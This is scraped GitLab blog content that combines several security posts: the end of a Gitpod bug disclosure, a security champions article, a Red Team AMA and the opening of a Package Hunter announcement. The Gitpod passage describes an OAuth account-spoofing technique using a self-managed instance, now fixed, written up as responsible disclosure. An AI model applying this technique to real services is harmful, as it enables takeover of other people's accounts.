this:\n\n```\nhttps://gitpod.io/api/login?host=gl.thetanuki.io&returnTo=https%3A%2F%2Fgitpod.io%2Flogin-success\n```\n\nIt wasn't that easy, this try would promptly redirect to:\n\n```\nhttps://gitpod.io/sorry#Login%20with%20gl.thetanuki.io%20is%20not%20allowed.\n```\n\nLetting me know that I cannot log in with my self-managed instance.\n\n### My second attempt\n\nThe login request to `https://gitpod.io/api/login?host=gitlab.com&returnTo=https%3A%2F%2Fgitpod.io%2Flogin-success` originally redirected to:\n\n```\nhttps://gitlab.com/oauth/authorize?response_type=code&redirect_uri=https%3A%2F%2Fgitpod.io%2Fauth%2Fgitlab%2Fcallback&scope=read_user%20api&client_id=bde00c0a8f15b7041aafabcc98210c73c5f2ca973cbd52c8a555fa08deebbcc8\n```\n\nI rewrote that request to point to my self-managed instance, adapted the `redirect_uri` and `client_id` values to match those on that instance. After going through the login flow I could log into any account simply by setting the corresponding email address on the self-managed instance.\n\nThe result you can see in the screenshot below. Gitpod picked up the `admin@example.com` email address for my self-managed account, but really it could have been any email address I'd wanted to spoof:\n\n![admin@example.com account](https://about.gitlab.com/images/blogimages/admin-example.png){: .shadow.medium.center}\nAdmin example in Gitpod settings.\n{: .note.text-center}\n\nGitpod was super quick to fix this issue, from the initial report it took them just about five hours to ship [a fix](https://github.com/gitpod-io/gitpod/pull/3940)!\n\n### Conclusion\n\nFirst of all huge thanks to the Gitpod team for a 10 out of 10 disclosure experience and prompt handling of the vulnerability reports.\n\nGiving full API access to third parties is a common SaaS/cloud practice, however a leak somewhere could impact seemingly unrelated services.  In this case the attack wouldn't only have affected Gitpod alone but also the connected GitLab/GitHub/Bitbucket accounts.\n\n***Security Research at GitLab***\n\n*Security research is one component of our broader security organization's efforts to enhance the security posture of our company, products, and client-facing services. See our [Security Handbook](/handbook/security/security-engineering/security-research/) to learn more.*\n\nPhoto by [Marta Branco](https://www.pexels.com/@martabranco?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/closeup-photo-of-black-and-blue-keyboard-1194713/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n\n",[678,9],{"slug":978,"featured":6,"template":683},"two-bugs-and-a-quick-fix-in-gitpod","content:en-us:blog:two-bugs-and-a-quick-fix-in-gitpod.yml","Two Bugs And A Quick Fix In Gitpod","en-us/blog/two-bugs-and-a-quick-fix-in-gitpod.yml","en-us/blog/two-bugs-and-a-quick-fix-in-gitpod",{"_path":984,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":985,"content":991,"config":998,"_id":1000,"_type":14,"title":1001,"_source":16,"_file":1002,"_stem":1003,"_extension":19},"/en-us/blog/why-security-champions",{"title":986,"description":987,"ogTitle":986,"ogDescription":987,"noIndex":6,"ogImage":988,"ogUrl":989,"ogSiteName":670,"ogType":671,"canonicalUrls":989,"schema":990},"Why you need a security champions program","Faster releases, more open source code, and developers unlikely to have formal security training = at risk software apps. The solution? A security champions program.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664002/Blog/Hero%20Images/securitychampions.jpg","https://about.gitlab.com/blog/why-security-champions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why you need a security champions program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-10-14\",\n      }",{"title":986,"description":987,"authors":992,"heroImage":988,"date":994,"body":995,"category":678,"tags":996},[993],"Valerie Silverthorne","2020-10-14","\nIn a recent survey of security professionals, Forrester Research found 33% of them had suffered a security breach. That’s not great news, but what was even more concerning is that the breaches were actually in the applications themselves, either via software vulnerabilities or web application flaws, explained [Amy DeMartine](https://www.forrester.com/Amy-DeMartine), VP and research director with Forrester. “What we’re seeing here is a nasty trend where applications are actually where malicious attackers...are getting into our sacred data,” Amy said during a presentation at our 2020 [virtual user conference Commit](/events/commit/). “(When it comes to security,) applications are actually getting worse and everything else is getting slightly better. So this is where we really need to tighten up. We really need to make sure that our applications are secure.”\n\nDevelopers and security pros certainly agree that apps need to be more secure, but it’s safe to say that’s where the consensus ends. In [GitLab’s 2020 Global DevSecOps Survey](/developer-survey/) we found plenty of finger-pointing in both directions. Most developers weren’t running enough SAST, DAST, or IAST scans and fewer than 25% of them actually were able to get their results within their IDEs. Security pros said developers found too few bugs too late in the process, and neither side could come to any agreement on the question of security “ownership.” \n\nClearly there’s room for (major) improvement. To “fit the square peg of security into the round hole of DevOps” Amy said the solution was a security champions program, something that will help bridge the wide and pervasive gap between the two sides.\n\n_Our [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\n## Begin at the beginning\n\nBefore a [DevOps team](/topics/devops/) can think about a security champion, Amy shed some light on the culture clash. Developers are measured on quality and customer feedback, two areas directly impacted by security, so that’s a good place to start, she said. Also developers want to release code more quickly, invest in more automation, and increase the use of open source code because they’re handy building blocks that make it easier to create code more quickly. But while open [source code](/solutions/source-code-management/) is handy, it’s often vulnerable; Forrester found 50% increases in open source code vulnerabilities in 2018 and 2019. \n\n“So we may not be doing the right kind of checks that we should be doing to release these open source components,” Amy said. “And the developers are going to need help with this. They're going to need to understand when not to include a common component, what common component to use? What's safe?”\n\nUnfortunately, devs may literally not know the answers to those questions because they may have had absolutely no professional training in security. Forrester examined the top 40 computer science programs in the US last year and found none of them taught secure coding practices. “So our developers, even the ones coming out of university today, do not know how to write secure code,” she said. “They don't understand that open source may have vulnerabilities, they don't know how to remediate weaknesses like SQL injection or cross-site scripting. And so as security pros, we really need to empathize with developers as they are trying to create good quality code that has great customer feedback, they don't know how to secure it, and that's where we come in.”\n\n## Enter the champion\n\nAmy doesn’t see the American universities changing their curriculum substantially in the near future, nor does she have a lot of faith in one-off “security training classes.” Her take: Developers need to learn about security right in the moment while guided by a champion. “The best way to do this is to stop them once we know they’ve got a security flaw and say, ‘Hey, you’ve got a SQL injection or you’ve got cross-site scripting.’ And hopefully the security tool is able to give them the remediation advice in the form of sample code. It’s all about about ‘How do I learn right in this moment?’”\n\nIn an ideal world, a security champion will be that person who can bridge the gap between development and security, up to and including speaking *both* languages, Amy stressed. “(A security champion)...can translate the fact that security flaws equal quality issues. And they're able to make it real for developers that oftentimes security pros aren't able to make it real for them. Plus they're part of the team, so they're automatically trusted.” Done right, the champion answers the questions in real time and speeds up the learning curve and the delivery cycle.\n\n## Make it happen\n\nTo get that obvious win-win in your organization, start by making the case, getting support, and finding funding, Amy said. “Even in this time of budget cuts it’s important to make sure you highlight the fact that what you’re trying to do is make your developers faster and have less flaws,” she said. Funding should come from both development and security. \n\nAfter that, it’s critical to pick the right security leaders; they’ll train the champions so they need to be empathetic to developers. The right candidates for champions will be those who ask a lot of questions about security, are naturally good at finding flaws, and are inclined to help others, Amy offered. Once they’re in place, the security leaders need to train them on the common issues and how to fix them.\n\nFrom there, it’s a matter of supporting, rewarding, and cheering them on, she stressed. Contests and friendly competitions “can go a long way to keeping developers interested and active as champions,” she said.\n\n## Pay attention to results\n\nThe final step in establishing a security champions program is measuring, monitoring, and continuously improving, Amy said. “If you see a huge uptick in SQL injection, it’s probably time to do some education either with a specific team or across the board.”\n\nIt will take some effort, she said, but it’s how companies are going to scale security successfully. “It’s not just automation (that leads to scale), but it’s also your security champions. (Focus on) those people who are embedded inside the developer teams.”\n\nWatch Amy’s full presentation:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/yX-uEkdpw2w\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by [Joel Filipe](https://unsplash.com/@joelfilip) on [Unsplash](https://unsplash.com)\n{: .note}\n\n_Our [2022 Global DevSecOps Survey](/developer-survey/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n",[678,9,997],"developer survey",{"slug":999,"featured":6,"template":683},"why-security-champions","content:en-us:blog:why-security-champions.yml","Why Security Champions","en-us/blog/why-security-champions.yml","en-us/blog/why-security-champions",{"_path":1005,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1006,"content":1012,"config":1018,"_id":1020,"_type":14,"title":1021,"_source":16,"_file":1022,"_stem":1023,"_extension":19},"/en-us/blog/you-asked-and-our-red-team-answered",{"title":1007,"description":1008,"ogTitle":1007,"ogDescription":1008,"noIndex":6,"ogImage":1009,"ogUrl":1010,"ogSiteName":670,"ogType":671,"canonicalUrls":1010,"schema":1011},"You asked, and our Red Team answered","We held a public, ask me anything with our Red Team. Here’s what people asked.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670889/Blog/Hero%20Images/security-ama-blog-header.png","https://about.gitlab.com/blog/you-asked-and-our-red-team-answered","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"You asked, and our Red Team answered\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2021-01-29\",\n      }",{"title":1007,"description":1008,"authors":1013,"heroImage":1009,"date":1015,"body":1016,"category":957,"tags":1017},[1014],"Heather Simpson","2021-01-29","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n> [\"Transparency is only a value if you do it when it is hard\"](https://handbook.gitlab.com/handbook/values/#transparency-is-only-a-value-if-you-do-it-when-it-is-hard) 👁\n\nThat's one of the lines that has stuck with me from my GitLab Inc. onboarding nearly 2 years ago. You know where practicing transparency is typically \"hard\"?\n    \n**Security.**\n    \nThankfully, I can honestly say that I work on a Security team that not only pushes the transparency boundaries in the industry, but also within GitLab itself. Take our [RedTeam](/handbook/security/threat-management/red-team/),  they’ve put out a whole public project called [Tech Notes](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/red-team-tech-notes) which contains deep dives on some of the challenges and vulnerabilities they’ve encountered in their work.  They also just held their first-ever, live and public [AMA/Ask Me Anything](/handbook/communication/ask-me-anything/#purpose) on January 26, 2021 and responded to over a dozen questions about the work that they do and how they go about doing it here at GitLab.  If you joined us, thank you!  If you missed it, check out the replay below.  We’d love to hear from you on whether you’d like to see an event like this in the future with our Red Team (or [another group within Security](/handbook/security/#security-department)) -- just drop a comment below, tweet/DM one of us on twitter or message [GitLab Red Team email](mailto:redteam@gitlab.com). \n    \n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/FCu7MiRX5Lw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n    \n## Who’s on the team\n    \n![GitLab Red Team](https://about.gitlab.com/images/blogimages/gl-red-team.png){: .shadow.large.center}\n     \n## Here’s what you asked\n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> Considering you're a full remote company, persistence on endpoints is still relevant in your activity or hunting tokens or credentials make more sense? Some Cloud services do not require you to reach them with VPN, so SSO tokens or credentials can be enough in some cases to reach sensitive information.\n{: #question}\n   \n**Note:** Added for clarity: “endpoint” refers to laptops and mobile devices.\n{: .note}\n\n**Steve Manzuik**: I think the security of our endpoints is still very important but you are right about SSO tokens / auth cookies being a bit higher priority for us. This is why Greg spent some time creating tooling, [gitrob](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gitrob) and [token hunter](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/token-hunter), around finding secrets that get accidentally leaked in code. In addition, many of the other scenarios we have tested have been focused on obtaining auth tokens or credentials. \n    \n**Greg Johnson**:  You’re definitely making a good point about initial access here. Early on, there weren’t very many options for tooling in terms of hunting for the types of tokens you mentioned.  We’ve put a lot of time and iterations into improving our ability to find sensitive leaks quickly.  The tools that Steve mentioned are constantly being honed, changed, and reimagined completely to improve our techniques and the accuracy of the tools.\n    \n**Chris Moberly**: I have a bit of a non-technical, non-operation take on this as well. We’re an internal Red Team, meaning that our “targets” are often our colleagues and friends. These are people that we work with every day. Just in terms of efficiency, it is important to gain and maintain trust with them. For example, if we have a question about how a tricky bit of code works, we can just pop into an internal development Slack room and ask. We do this all the time, and our colleagues have been amazing at trusting our positive intentions and helping us out. But, even beyond efficiency, it simply would make for an unpleasant work environment if our colleagues were constantly worried about us trying to exploit their laptops. This is especially true in an all-remote company where those laptops are inside their homes and often double up as personal machines. Because of this, I really prefer emulating endpoint exploitation and persistence; either with a dummy device or a willing target who is 100% aware of what is going on. This is where the concept of an “assumed breach” can also come into play. We need to understand the threat model for an endpoint compromise, demonstrate the extraction of credentials, cookies, etc that would exist there, and then move on to attacking the cloud services as others have mentioned above. I think a bit of persistence emulation would be good for testing the efficacy of endpoint management tools: like, can we keep an implant running on a standard endpoint build for the duration of an operation without triggering alerts? If so, what can be fixed to get those alerts happening sooner?\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> To evaluate an insider threat, do you consider to run exercises from authorized users? I mean, run an exercise to simulate a legit change in your system but with some malicious effects? For eg. spin-up a new web service or whatever with some backdoors in order to be able to keep access?\n{: #question}\n    \n**Steve Manzuik**: Yes, we also run exercises that we call “assumed compromise scenarios” which fall in line with this exact question. The high-level premise is focused on what happens once an attacker gains access: legitimate or otherwise. Then we look at what that attacker may do, where they may pivot, and what actions we can detect and alert on.\n    \n**Frederic Loudet**: As an example, we will start an operation from a shell inside our infrastructure (on a VM or a container), assuming a rogue internal user is starting from there or someone managed to compromise some of our defenses and get this shell access.\n    \n**Greg Johnson**: We also model many of the ways an attacker may try to achieve persistence with these operations.\n\n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> When conducting adversarial simulation and/or exploratory penetration testing operations, what systems / platforms do you use to store, collaborate on, and manage testing related intelligence (execution times, commands, findings, etc.)?\n{: #question}\n    \n**Steve Manzuik**: We leverage our own product, GitLab, as well as a product known as [Vectr](https://vectr.io/) that helps us map our attacks and related detection/response.\n    \n**Chris Moberly**: We also leverage our own self-managed GitLab instance to make TTPs (Tactics, Techniques, and Procedures) automated and repeatable. This is done by hosting our custom attack tooling in projects and writing CI jobs that run them on demand and/or at scheduled intervals. We have one tool that builds and executes in CI and outputs the results onto a [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) site that requires multi-factor authorization to access; which is a pretty cool usage of our available tools. Just to echo Steve’s mention of Vectr - that tool is awesome, I highly recommend checking it out. And if you want to brainstorm creative ways to use GitLab for tracking the operational bits, you can type “GitLab for project management” into your favorite search engine to find some cool blogs and videos on the topic.\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> How do you promote collaborations between your team and other security / application groups within your organization? What sort of collaborative operations does your team work on?\n{: #question}\n    \n**Steve Manzuik**: This is an area where our Red Team is a bit different than a traditional one. We try to be as transparent and open about our operations as possible. There are of course always going to be cases where we need to be stealthy and share less but we attempt to limit those as much as possible. Typically, when we are performing an operation we will pull in a resource from impacted teams to at least be aware of what we are doing. So for example, we recently worked on an operation focusing on our development processes and had resources from our [AppSec team](/handbook/security/security-engineering/application-security/) working directly with us and helping us with ideas and knowledge. Same goes when we are touching infrastructure things -- we will involve someone from the infrastructure team. \n    \n**Fred Loudet**: As another collaboration example, on some operations, we will create a dedicated chat channel and invite team members (infrastructure or others depending on the operation) so they can follow the operation “live” as we try to comment on what we do/what we find. It works really well, we even get ideas from those other members. They see we are not hiding anything from them and not doing it to make them look bad (ok, we may refrain from saying “yoohoo” if we manage to gain something good!).\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> How do you break the stigma of ‘red teamers are here to attack us’ within your organization? How do you promote an environment of trust when certain teams may go into collaborations/operations with the mindset of ‘these people are going to tell me my baby is ugly’?\n{: #question}\n    \n**Steve Manzuik**: This is why we try to be as transparent as possible when we are planning our operations. Before we even start work, we document the general test plan and goals and then typically meet with stakeholders to ensure that they are on the same page. It also helps that our Red Team is experienced enough to be able to deliver bad news without attaching ego or judgement to it as well. We make sure that everyone knows that we are here to help vs. just here to judge their technical work. \n    \n**Fred Loudet**: As Steve says, we are lucky Gitlab is pushing “transparency”, so it makes everyone more open to reviews and remarks from various teams. As mentioned in question 4, when it makes sense, we really try to involve the “targeted” teams fully into the operation, including if possible within the execution phase. And so far it works well, everyone sees what could be seen as “bad news” as “opportunities to improve” (It also helps Gitlab promote the “right to make mistakes and learn from them”). \n    \n**Greg Johnson**: There is a very human aspect to red teaming you can’t ignore.  Building trust with people is in essence a very simple formula.  We try to make sure that the people we interact with expect a positive experience through the planning and preparation steps that Steve and Fred mentioned, first and foremost.  We also do our best to make sure that this expectation of a positive experience is met in the end through all phases of the operation including remediation so there are as few gaps as possible between the positive experience people expect and what they actually get.\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> When planning an adversarial simulation operation, do you try to mimic the TTP usage patterns of known actors or do you tailor TTP usage to your organization?\n{: #question}\n    \n**Steve Manzuik**: Both. We leverage MITRE’s ATT&CK framework where we can, but have also had to adjust to some more cloud specific TTPs that are not well documented in ATT&CK. From our perspective, both leveraging the known TTPs as well as being crafty and coming up with our own are both very important to help raise the security bar. \n    \n**Greg Johnson**: In the end, we don’t limit our creativity, but we do make an effort to try to mimic attacks that leverage known vectors as often as we can.  We draw from a lot of different sources to inspire our operations as legitimate attackers will do the same.\n    \n**Chris Moberly**: To add to Steve’s point, ATT&CK is organized by Tactics, which are high level things like “Initial Access” or “Persistence” and then Techniques, which are very specific things like “create a systemd service” or “abuse set-uid binary”. The Tactics are a really solid foundation for pretty much everything we do, and we try to use those wherever we can. For the Techniques, though, MITRE prefers to include only items that have been discovered in the wild and have some level of attribution. That makes sense for the framework, but at GitLab we’re working with an environment that is quite modern (no physical networks, no Active Directory, etc). We need to be a bit ahead of the curve in terms of developing our own techniques: because we know they will work, and we want to be able to detect and respond to them now. So, we put in some serious time researching possible post-exploitation techniques for the various environments we use. We try to write about those things publicly in our [Tech Notes](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/red-team-tech-notes), as well, so that others can use them. Personally, I find this one of the more “fun” parts of the job.\n    \nI think we’ll probably also take a look at replaying known-attacks that hit major news headlines. One of the primary goals of security is to basically stay out of the news, so we can look at things like the recent drama with SolarWinds and say “how did it happen to them, could it happen to us, and what would happen if it did?”. That type of operation would look much more closely emulating the known tactics of known actors.\n    \n    \n_**Follow up question**: Are any of those cloud TTPs that aren't tracked in MITRE ATT&CK published outside of vectr or where the public can access them?_\n\n**Steve Manzuik**: This is something that we need to take a look at and if/when we do, we’d be publishing them in our [Tech Notes](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/red-team-tech-notes).\n     \n**Chris Moberly**: Some of these are already published there, in a blog-like format, but we could certainly produce more ATT&CK-like formatting if there is an appetite for it. If so, let us know! [mailto:](mailto:redteam@gitlab.com)\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> What exceptional/unusual skills do you have in your Red Team and how diverse is the skillset across the team?\n{: #question}\n    \n**Steve Manzuik**: I don’t know if we have any “unusual skillsets” that relate directly to our work. But our team has a variety of experiences and skills across all the security domains. Something that I know I look for when we are bringing in new team members is the ability to learn quickly. The fun but also hard part of our job is that things are always changing and there is always something new for us to quickly learn. \n    \n**Greg Johnson**: I will say that our skill sets seem to compliment each other very well.  We each have areas of strengths and weaknesses.  Usually if I have a knowledge gap I can fill it on the immediate team I work with.\n    \n**Fred Loudet**: There are however some “traditional” skillsets that are not useful at all here 😄! Anything Active Directory/Microsoft related is “useless”, same for “physical office” related skills like wireless or breaking into buildings. Our core skills basically revolve around coding/web/cloud computing.\n    \n**Chris Moberly**: I would say I’m probably the best on the team at writing low-quality code lacking in any tests. :) \n**Fred Loudet**: I am pretty certain I write crappier code!  \n**Greg Johnson**: We’ll see about that!\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://giphy.com/embed/ule4vhcY1xEKQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n    \n_**Note:** in our Jan 26 live AMA we ran out of time before being able to answer all the great questions we received.  We’ll answer them below!_\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> Does any of your testing focus on product security? (e.g. Testing if using GitLab would make a good c2 channel)?\n{: #question}\n    \n**Steve Manzuik**: Yes, in a lot of cases our exercises will either use functionality of our product or will be directly against the product. That said, we do stay away from doing appsec type testing which would overlap with what both our [Bug Bounty](https://hackerone.com/gitlab) and AppSec team focus on. \n    \n**Chris Moberly**: Ha! I love this question as it starts out pretty basic and then drops a really interesting bombshell at the end there. To start with the basic part, of course leveraging new or known bugs in a core product is always useful for a Red Team, so we definitely do that. But, personally, I find that the way a product is customized tends to be what introduces the most risk. So we look at the various dials people can turn, and how that could potentially provide an entry point into a system. Mark Loveless wrote a great blog recently about [making sure your self-managed GitLab instance is secure](/blog/gitlab-instance-security-best-practices/), that one is worth a read \n_Note from Mark: also see [this project](https://gitlab.com/gitlab-com/gl-security/security-research/gitlab-standalone-instance)_.\n    \n**Chris Moberly**: On to your next point. To start with, please do not try to use gitlab.com as a covert C2 channel. I'd have to read through the terms to find how many that breaks, but I imagine a few. I will say, GitLab can be self-managed, and there are some amazing things you can do with CI jobs and the \"GitLab Runner\" agent.\n    \n**Greg Johnson**: GitLab is used in very creative ways to manage all kinds of projects and while we don’t want to discourage creative uses, we also don’t want it to impact other users etc.  We look at abuse scenarios as well to help us improve our detection capabilities and defenses.\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> How do you address conflict in your team? Is it something that’s encouraged and if you have a diverse set of skills then differences in opinion stand to exist correct?\n{: #question}\n    \n**Chris Moberly**: I think we often have different ideas on how to approach things, but personally I've never felt that tread into the territory of \"conflict\". Because we are a small team (1x manager, 3x engineers) that is spread across time zones, we do a lot of work asynchronously. I think this setup actually has some built-in ways to work through differences in opinion. For example, instead of just bouncing ideas back and forth at the beginning of a project, we'll often take the time to come up with an initial proof-of-concept for an idea before sharing. If someone has a different take on it, it might take too long to simply say \"I think we should do x instead\", as we'd have to cycle through a day or two to get everyone to chime in. So, instead, that person will also come up with a proof-of-concept (PoC) for their idea. At this point, we have several working methods to compare and choose from - or, often we will discover while working on a new PoC that maybe the original idea was best after all.\n    \n**Fred Loudet**: On top of what Chris said, there is also the human factor and I think we are lucky no one in the team is particularly stubborn or has a strong ego 😉! I don’t recall that we’ve had real“conflicts”,  just different ideas but so far (crossing fingers!), we’ve managed to discuss in a non conflicting manner and chose what looked like the best solution to all of us. The Gitlab handbook even has a section regarding [conflict](https://about.gitlab.com/handbook/leadership/managing-conflict/).\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> In terms of the make-up of your team, is diversity in gender, background and race something that’s important and a factor in your team when considering the candidates, or do you find yourself picking from the same pool of candidates?\n{: #question}\n    \n**Steve Manzuik**: One of the advantages of GitLab being an all remote company is the fact that we can literally hire a candidate from anywhere in the world. Having this huge talent pool to pick from means that we can absolutely focus on diversity for our teams. Today, as you may have noticed from the AMA our team is not all that diverse when it comes to gender and race. However, we do have a diverse set of experiences to bring to the table. We of course want to become much more diverse in all of the other areas and will consider these factors as we grow the team. In addition, it’s worth checking out this blog post, [“What it's like to work in Security at GitLab”](https://about.gitlab.com/blog/whats-it-like-to-work-security-at-gitlab/) from [Heather Simpson](https://gitlab.com/heather) on our security team that highlights other team members across security and our efforts to build a diverse team. \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> Does Gitlab as a company and overall executive management, understand the value the Red Team brings to the success of the company and how do you communicate the impact/successes of your Red Team activities? In some organisations, the security team is considered a cost to the business and a necessary evil but that’s about it.\n{: #question}\n    \n**Steve Manzuik**: In almost an overwhelming way our executives are always very interested in what our Red Team is up to. We find ourselves to be very lucky to have the support from my direct manager, his manager and then our executive team all the way up to our CEO. I think for GitLab it helps that everyone in that chain is technical and understands not only the value that we can bring but also that we can help reduce risk. That doesn’t mean that we have free reign though, we alway make sure that we communicate what we want to do and why we want to do it. Before any exercise begins we have already built a skeleton methodology / approach and defined what it is that we are trying to accomplish and why that matters to the company. When we hit roadblocks or snags we are quick to communicate those as well. GitLab’s [value of transparency](https://handbook.gitlab.com/handbook/values/#transparency) really helps us out here a lot.\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> With regards to career growth, how supportive has Gitlab been to the different members on the team and the different career paths they want to take which may be non-traditional?\n{: #question}\n    \n**Chris Moberly**: GitLab has a great [handbook entry on career growth](/handbook/people-group/learning-and-development/career-development/), it's worth a read. One of the things I really like about GitLab is that the desire to remain technical doesn't result in an early career dead-end. For starters, there are individual-contributor roles beyond \"Senior\" that allow one to continue progressing without taking on a management position. Next, there is a HUGE focus on taking time for learning and development; I try to spend most Fridays focused on taking online courses, reading books, and doing research that could be leveraged by the team. Beyond that, every other group at GitLab is always extremely helpful when it comes to knowledge sharing. So, I make sure to spend time with our friends on the Blue Team ([SIRT](/handbook/security/#sirt",[678,9,680],{"slug":1019,"featured":6,"template":683},"you-asked-and-our-red-team-answered","content:en-us:blog:you-asked-and-our-red-team-answered.yml","You Asked And Our Red Team Answered","en-us/blog/you-asked-and-our-red-team-answered.yml","en-us/blog/you-asked-and-our-red-team-answered",{"_path":1025,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1026,"content":1032,"config":1038,"_id":1040,"_type":14,"title":1041,"_source":16,"_file":1042,"_stem":1043,"_extension":19},"/en-us/blog/announcing-package-hunter",{"title":1027,"description":1028,"ogTitle":1027,"ogDescription":1028,"noIndex":6,"ogImage":1029,"ogUrl":1030,"ogSiteName":670,"ogType":671,"canonicalUrls":1030,"schema":1031},"Package Hunter: Detect malicious code in dependencies","We developed, tested and open sourced a new tool to analyze program dependencies and protect the supply chain.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682075/Blog/Hero%20Images/package-hunter.png","https://about.gitlab.com/blog/announcing-package-hunter","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet Package Hunter: A tool for detecting malicious code in your dependencies\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dennis Appelt\"}],\n        \"datePublished\": \"2021-07-23\",\n      }",{"title":1033,"description":1028,"authors":1034,"heroImage":1029,"date":1035,"body":1036,"category":678,"tags":1037},"Meet Package Hunter: A tool for detecting malicious code in your dependencies",[779],"2021-07-23","\n\nModern programming ecosystems make code reuse exceptionally easy. No matter the\nprogramming task at hand, chances are there is a package in a public registry\nsuch as rubygems.org or npmjs.com that implements that task.\n\nWhile the reuse of publicly available packages reduces the time necessary to write an app, this reuse\nbrings its own set of challenges. Apps quickly depend on hundreds of packages,\nand programmers often simply just trust that these packages don't contain malicious code.\nIn an ideal world, all depended-upon code is thoroughly vetted before being included in a program – however, this is often unfeasible in practice due to the sheer amount of dependency code that needs to be reviewed and the lack of existing tools to help with vetting dependency code.\n\n## Malicious code in the wild\n\nPast incidents like [malicious\ncode](https://gist.github.com/jpmcb/4e45eb04534f9a6f5ab9d99912a697d9) in the\npopular package `event-stream` demonstrate that threat actors actively use public\npackage registries as a distribution channel for malicious code. This incident\nwasn't a single event either. A recent\n[review of open source software supply chain attacks](https://link.springer.com/chapter/10.1007/978-3-030-52683-2_2) found\nmany similar malicious packages in the wild.\n\nThe techniques to deliver malicious dependencies have also become more sophisticated.\nEarlier this year a security researcher discovered an implementation quirk in\nmany popular package managers, dubbed [Dependency\nConfusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610),\nthat can be used to trick package managers to install dependencies from an\nattacker-controlled location instead from a trusted, private package registry.\nUpon installation of the manipulated dependency, the researcher could execute arbitrary code,\nwhich could have led to compromise of production systems or CI environments.\nExisting dependency scanners typically don't detect if a dependency executes\nmalicious code, as these tools are limited to identifying\ndependencies with *known* vulnerabilities.\n\nAlthough GitLab was not directly affected by Dependency Confusion, we took [added measures to ensure packages and registries operate the way we expect them to and are continually monitored and secured](/blog/deep-dive-investigation-of-gitlab-packages/),\nand set out to build tooling to detect and prevent similar incidents in the future.\n\n## Package Hunter: Detect malicious code in program dependencies\n\nIn response to these challenges and a need for tooling to validate supply chain security, **we've developed Package Hunter and are releasing it for use by the community.**\nPackage Hunter is a tool to analyze a program's dependencies for malicious code and other unexpected behavior by installing the dependencies in a sandbox environment and\nmonitoring system calls executed during the installation. Any suspicious system calls are reported to\nthe user for further examination. Package Hunter uses [Falco](https://falco.org/) under the hood for system call monitoring.\nIt currently supports testing NodeJS modules and Ruby Gems. Refer to the\n[docs](https://gitlab.com/gitlab-org/security-products/package-hunter/-/blob/master/README.md)\nfor more technical details.\n\n### How to get started with Package Hunter\n\nPackage Hunter integrates seamlessly with GitLab. To get started, use the GitLab\n[CI 